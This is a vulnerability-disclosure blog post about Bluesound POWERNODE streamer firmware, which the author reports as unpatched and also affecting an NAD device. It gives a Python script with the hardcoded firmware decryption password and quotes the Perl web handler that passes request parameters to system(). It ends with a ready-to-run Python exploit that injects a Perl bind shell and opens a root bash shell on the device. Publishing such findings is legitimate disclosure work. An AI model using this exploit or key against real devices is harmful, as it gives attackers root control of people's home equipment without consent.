The Bluesound POWERNODE is a “Wireless Stereo Component”, which allows the user to stream to an older analogue sound system. It also includes an amp. I (sadly) happen to have such a device at home and decided to take a look at the firmware. The results were as expected.

Most of the product line appears to be vulnerable, since they run mostly the same software. I would also be surprised if this is the only vulnerability in the device.

Bluesound has been contacted.

Process list

From the web-interface the POWERNODE provides a really handy diagnostics view, which includes (among other things) a process list:

USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.2   2080   560 ?        Ss   Dec05   0:00 init
root         2  0.0  0.0      0     0 ?        S    Dec05   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        S    Dec05   0:42 [ksoftirqd/0]
root         4  0.0  0.0      0     0 ?        S    Dec05   0:48 [events/0]
root         5  0.0  0.0      0     0 ?        S    Dec05   0:00 [khelper]
root         8  0.0  0.0      0     0 ?        S    Dec05   0:00 [async/mgr]
root         9  0.0  0.0      0     0 ?        S    Dec05   0:00 [pm]
root        62  0.0  0.0      0     0 ?        S    Dec05   0:00 [usb_wakeup thre]
root        63  0.0  0.0      0     0 ?        S    Dec05   0:00 [usb_wakeup thre]
root       145  0.0  0.0      0     0 ?        S    Dec05   0:03 [sync_supers]
root       147  0.0  0.0      0     0 ?        S    Dec05   0:03 [bdi-default]
root       149  0.0  0.0      0     0 ?        S    Dec05   0:00 [kblockd/0]
root       156  0.0  0.0      0     0 ?        S    Dec05   0:00 [mxc_spi.0]
root       164  0.0  0.0      0     0 ?        S    Dec05   0:00 [otg_switch/0]
root       170  0.0  0.0      0     0 ?        S    Dec05   0:00 [khubd]
root       179  0.0  0.0      0     0 ?        S    Dec05   0:00 [kmmcd]
root       188  0.0  0.0      0     0 ?        S    Dec05   0:00 [pmic-event-thre]
root       250  0.0  0.0      0     0 ?        S    Dec05   0:00 [rpciod/0]
root       265  0.0  0.0      0     0 ?        S    Dec05   0:00 [kswapd0]
root       313  0.0  0.0      0     0 ?        S    Dec05   0:00 [aio/0]
root       325  0.0  0.0      0     0 ?        S    Dec05   0:00 [nfsiod]
root       331  0.0  0.0      0     0 ?        S<   Dec05   0:00 [kslowd000]
root       332  0.0  0.0      0     0 ?        S<   Dec05   0:00 [kslowd001]
root       338  0.0  0.0      0     0 ?        S    Dec05   0:00 [crypto/0]
root       978  0.0  0.0      0     0 ?        S    Dec05   0:00 [kconservative/0]
root       980  0.0  0.0      0     0 ?        S    Dec05   0:00 [hwevent]
root       982  0.0  0.0      0     0 ?        S    Dec05   0:00 [esdhc_wq/0]
root       985  0.0  0.0      0     0 ?        S    Dec05   2:00 [esdhc_wq/0]
root      1014  0.0  0.0      0     0 ?        S    Dec05   0:01 [mmcqd]
root      1022  0.0  0.0      0     0 ?        S    Dec05   0:00 [jbd2/mmcblk0p2-]
root      1023  0.0  0.0      0     0 ?        S    Dec05   0:00 [ext4-dio-unwrit]
root      1046  0.0  0.0      0     0 ?        S    Dec05   0:00 [jbd2/mmcblk0p3-]
root      1047  0.0  0.0      0     0 ?        S    Dec05   0:00 [ext4-dio-unwrit]
root      1051  0.0  0.2   2336   700 ?        Ss   Dec05   0:12 syslogd -C256
root      1054  0.0  0.2   1768   572 ?        S<s  Dec05   0:01 udevd --daemon
root      1919  0.0  0.1   2080   408 ?        Ss   Dec05   0:00 watchdog /dev/watchdog
root      1947  0.2  0.2   3716   716 ?        Sl   Dec05  29:57 sovi_hal
root      1975  0.0  0.1   2080   496 ?        Ss   Dec05   0:00 ifplugd -i eth0 -I -r /etc/ifplugd.action
root      1976  0.0  0.3   2272   996 ?        S    Dec05   0:00 /bin/bash /etc/ifplugd.action eth0 up
root      1979  0.0  0.2   2080   644 ?        S    Dec05   0:47 udhcpc -h Bedroom1 -i eth0 -p /var/run/udhcpc.eth0 -S
root      1986  0.0  0.2   2220   512 ?        Ss   Dec05   0:00 dropbear -r /var/data/etc/dropbear_rsa_host_key
root      2005  0.0  0.0      0     0 ?        S    Dec05   0:19 [events/0]
root      2006  0.0  0.0      0     0 ?        S    Dec05   0:00 [events_long/0]
root      2007  0.0  0.0      0     0 ?        S    Dec05   0:00 [events_nrt]
root      2011  0.0  0.0      0     0 ?        S    Dec05   0:00 [cfg80211]
root      2019  0.0  0.0      0     0 ?        S    Dec05   0:44 [ksdioirqd/mmc1]
root      2020  0.0  0.0      0     0 ?        S    Dec05   0:04 [cw1200_wq]
root      2021  0.0  0.0      0     0 ?        S    Dec05   2:12 [cw1200_bh]
root      2028  0.0  0.0      0     0 ?        S    Dec05   0:28 [phy0]
1000      2042  0.0  0.3   2684   912 ?        Ss   Dec05   0:00 dbus-daemon --system
daemon    2045  0.0  0.6   3272  1660 ?        S    Dec05   0:43 avahi-daemon: running [Bedroom1.local]
root      2046  0.0  0.5   3592  1288 ?        S    Dec05   0:00 avahi-browse-sovi
root      2049  0.0  0.3   2284  1016 ?        S    Dec05   7:56 /bin/bash /etc/rc.d/rc.sovi
root      2050  0.0  0.2   2084   604 ttymxc0  Ss+  Dec05   0:00 /sbin/getty -L ttymxc0 115200 vt100
root      2070  0.0  0.4   3692  1224 ?        Sl   Dec05   9:02 sovi-discover --sddp /tmp/sddp.conf
root      2072  0.0  0.4   2300  1052 ?        S    Dec05   0:01 /bin/bash /etc/rc.d/rc.stage0
root      2085  1.1  3.4  10592  8828 ?        S    Dec05 164:49 dspout -m 75
root      2087  0.0  4.0  14092 10408 ?        S    Dec05   4:42 perl ./automounter.pl -c /var/data
root      2088  0.0 13.5  39380 34464 ?        Sl   Dec05   4:11 perl ./ms.pl -d /var/data
root      2105  0.0  0.6   3980  1692 ?        S    Dec05   0:00 /usr/libexec/bluetooth/bluetoothd --noplugin=avrcp
root      2147  0.0  0.5   4572  1364 ?        Ss   Dec05   0:30 /usr/bin/wpa_supplicant -i wlan0 -c /var/data/wpa.conf -C /tmp -D nl80211 -B
root      2163  0.0  0.1   2080   476 ?        Ss   Dec05   0:00 /sbin/udhcpc -i wlan0 -S
root      2166  0.5  0.8   4040  2280 ?        S    Dec05  69:50 sovi-spotify -n Bedroom 1 -i 90:56:82:7f:26:dc -d /var/data -v N150 -b Bluesound -m POWERNODE
root      2167  0.0  1.4   9140  3780 ?        S    Dec05   0:00 sovi-bt --disable-aac
root      2168  0.2  9.7  31940 24812 ?        S    Dec05  39:59 perl ./cp.pl -c /var/data
root      2169  0.0  0.3   2392   972 ?        S    Dec05   0:00 avahi-publish -s Bedroom 1 _spotify-connect._tcp 80 CPath=/spotifyconnect VERSION=1.0
root      2204  0.0  0.5   3612  1304 ?        Ss   Dec05   1:34 ntpd -g -c /tmp/ntp.conf
root      2254  0.0  3.9  12876 10112 ?        Sl   Dec05   0:02 /usr/bin/perl /var/data/upgrade/stage0/stage0
root     10668  0.0  0.1   1948   380 ?        S    12:08   0:00 sleep 3600
root     13604  0.0  0.1   1948   380 ?        S    12:58   0:00 sleep 30
root     13646  0.0  0.3   2244   856 ?        R    12:59   0:00 ps axuw

Running Perl as root is usually a bad sign.

Perl obfuscation

They also include additional security such as BluOS firmware being encrypted and locked down to prevent malicious attacks.

– Bluesound support forums

Indeed taking a look at the firmware you will find perl files like the one below:

use Filter::Crypto::Decrypt;
1b8c1db0d33f54236ec2ef560a93261bd5a3c6c0d724a5834543c201393a68c86c142e26e115e210810afcd59d
31de2d500fdf77b486ebdd96bd7fdbf901d1e0fd7f94ed2299950ea5137a440f7861a73861fcafcd7aaac6b477
856cfd74d5679a045ad7e6c17d9e119fdf1ef3e308aee092b106c4360e5e7ca92eee84528e79d0963f49396c46
7c1b1886ceca25a10589f4135253f3f71e8dc30628180d1b73d3bdbeaf6ec15dc58d28851fca86502b79bb6680
59da36fc15d65e955529cf54a5d74da3307d7f8b10b7e03cade60e6f9a0b54217410082cf8f28ce7888bcb6f7a
...

Below a script for decrypting the perl files (the same key is used on all devices and models):

#!/usr/bin/env python2

BLOCKSIZE = 16
KEYSIZE   = 32

PSWDSIZE  = 32
SALTLEN   = 8

pswd = 'CDCBCF6B3127E14C1504B39FA0A4AC68CD2C06CFA124A6FC185BC14FC4625088'
pswd = pswd.decode('hex')

import sys
import hashlib

with open(sys.argv[1], 'r') as f:
    data = f.read()

_, d = data.split('\n')
d = d.decode('hex')

# derive key

salt = d[:SALTLEN]
d = d[SALTLEN:]
key = hashlib.pbkdf2_hmac('sha1', pswd, salt, 2048, KEYSIZE)
print key.encode('hex')

# decrypt file

from Crypto.Cipher import AES

iv  = d[:BLOCKSIZE]
d = d[BLOCKSIZE:]
obj = AES.new(key, AES.MODE_CBC, iv)
print obj.decrypt(d)

Now lets take a look at the firmware.

Exploit

Finding this trivial exploit took about 3 minutes using “grep”. They love the always handy “system” function, unfortunately Bluesound are not big fans of sanitising the inputs. Below you see a textbook example of command injection:

'/enable' => sub {
	my ($httpd, $req) = @_;
	my $msg = '<html><body>Note: A reboot is required \
                   for any changes to fully take effect!<br>';

	foreach my $feature ($req->params()) {
		my $file = '/var/data/' . $feature . '_enable';
		my $enable = $req->parm($feature);

		if ($enable eq 'yes') {
			system("touch $file && sync");
		} elsif ($enable eq 'no') {
			system("rm $file && sync");
		}

		if (-f $file) {
			$msg .= "<br>$feature enabled";
		} else {
			$msg .= "<br>$feature disabled";
		}
	}

	$msg .= '<br><br><a href="/reboot">Reboot</a></body></html>';
	$req->respond ({ content => ['text/html', $msg]});
}

And a doit binding a root shell:

#!/usr/bin/env python2

import requests
import sys

addr = sys.argv[1]
port = int(sys.argv[2])

url = 'http://%s/enable' % addr

shell = 'use Socket;$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));' % port
shell += 'bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);'
shell += 'close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");'
shell += 'exec("/bin/bash -i");};'

cmd = '$(perl -e \'%s\' &)' % shell

print 'bind to', addr, ':', port

requests.get(url, params={cmd:'yes'})

Just #LivingHifi

Edit (February 2022): This post is getting rather old, but the exploit remains unpatched (after having contacted Bluesound >5 years ago) and included even in their newer products! Furthermore, it also affects the products of other companies careless enough to license this junk for use in their products without even a cursory security review, e.g. it has been confirmed to work on the C 368 with the BluOS module by “NAD Electronics”. Lastly I would like to include some comedic gold from the meme-worthy vendor support forum:

For my own personal amusement I would love to know if the vulnerability detected by the Bitdefender product is this one, or one of a myriad of other textbook vulnerabilities in their jank code. If you know, please reach out to me.